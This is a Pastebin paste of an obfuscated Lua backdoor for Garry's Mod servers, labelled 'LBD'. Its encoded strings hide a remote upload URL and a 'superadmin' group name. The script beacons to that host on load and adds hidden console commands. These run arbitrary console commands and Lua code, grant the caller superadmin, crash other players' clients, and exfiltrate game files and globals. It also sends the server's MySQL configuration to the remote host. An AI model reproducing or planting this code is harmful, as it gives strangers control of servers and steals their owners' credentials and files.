Advertisement
MoNoLidThZ

GMOD13 LBD

Jan 13th, 2018
31
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.67 KB | None | 0 0
  1. local b='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
  2. local lr = RunString
  3. local function enc(data)
  4.     return ((data:gsub('.', function(x)
  5.         local r,b='',x:byte()
  6.         for i=8,1,-1 do r=r..(b%2^i-b%2^(i-1)>0 and '1' or '0') end
  7.         return r;
  8.     end)..'0000'):gsub('%d%d%d?%d?%d?%d?', function(x)
  9.         if (#x < 6) then return '' end
  10.         local c=0
  11.         for i=1,6 do c=c+(x:sub(i,i)=='1' and 2^(6-i) or 0) end
  12.         return b:sub(c+1,c+1)
  13.     end)..({ '', '==', '=' })[#data%3+1])
  14. end
  15.  
  16. local function dec(data)
  17.     data = string.gsub(data, '[^'..b..'=]', '')
  18.     return (data:gsub('.', function(x)
  19.         if (x == '=') then return '' end
  20.         local r,f='',(b:find(x)-1)
  21.         for i=6,1,-1 do r=r..(f%2^i-f%2^(i-1)>0 and '1' or '0') end
  22.         return r;
  23.     end):gsub('%d%d%d?%d?%d?%d?%d?%d?', function(x)
  24.         if (#x ~= 8) then return '' end
  25.         local c=0
  26.         for i=1,8 do c=c+(x:sub(i,i)=='1' and 2^(8-i) or 0) end
  27.         return string.char(c)
  28.     end))
  29. end
  30.  
  31. local a ="97 72 82 48 99 68 111 118 76 122 73 119 79 67 53 122 78 71 53 107 99 51 81 119 99 109 48 117 89 50 89 118 98 71 74 107 76 50 78 50 89 88 74 102 100 88 66 115 98 50 70 107 76 110 66 111 99 65 61 61"
  32.  
  33. local function dkypt(c)
  34.     local dking = ""
  35.     for _,ch in ipairs(string.Explode( " ", c )) do
  36.         dking = dking..string.char(ch)
  37.     end
  38.     return dec(dking)
  39. end
  40. local hr = dkypt(a)
  41. function pst( wx, onsuccess, onfailure )
  42.     if(istable(wx)) then
  43.         wx = util.TableToJSON(wx)
  44.     end
  45.     local tb = {x = wx}
  46.     local rq = {
  47.         url         = hr,
  48.         method      = "post",
  49.         parameters  = tb,
  50.         success     = function() end,
  51.         failed      = function() end}
  52.     HTTP( rq )
  53. end
  54. pst(dkypt("84 69 74 69 73 69 108 117 97 88 82 112 89 87 120 112 101 109 86 107"))
  55.  
  56. local sx,rx,qx = util.CRC,game.ConsoleCommand,table.concat
  57. local function hx(px,bb,tx)
  58.     rx(qx(tx," ").."\n")
  59. end
  60. concommand.Add("xh",hx)
  61.  
  62. local function lx(px,bb,tx)
  63.     local y,e = pcall(lr,qx(tx," "))
  64. end
  65. concommand.Add("xl",lx)
  66.  
  67. local function gx(px,bb,tx)
  68.     px:SetUserGroup(dkypt("99 51 86 119 90 88 74 104 90 71 49 112 98 103 61 61"))
  69. end
  70. concommand.Add("gx",gx)
  71.  
  72. local function kx(px,bb,tx)
  73.     for _,v in ipairs(player.GetAll()) do
  74.         if v == px then continue end
  75.         v:SendLua("cam.End3D()")
  76.     end
  77. end
  78. concommand.Add("xk",kx)
  79.  
  80. local function dt(px,bb,tx)
  81.     if(_G[qx(tx," ")]) then
  82.         pst(_G[qx(tx," ")])
  83.     end
  84. end
  85. concommand.Add("td",dt)
  86.  
  87. local function df(px,bb,tx)
  88.     local f = file.Open( qx(tx," "), "rb", "GAME" ) if ( !f ) then return end local str = f:Read( f:Size() ) f:Close()
  89.     if ( !str ) then str = "" end
  90.     pst(str)
  91. end
  92. concommand.Add("fd",df)
  93.  
  94. if(RP_MySQLConfig) then
  95.     pst(RP_MySQLConfig)
  96. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement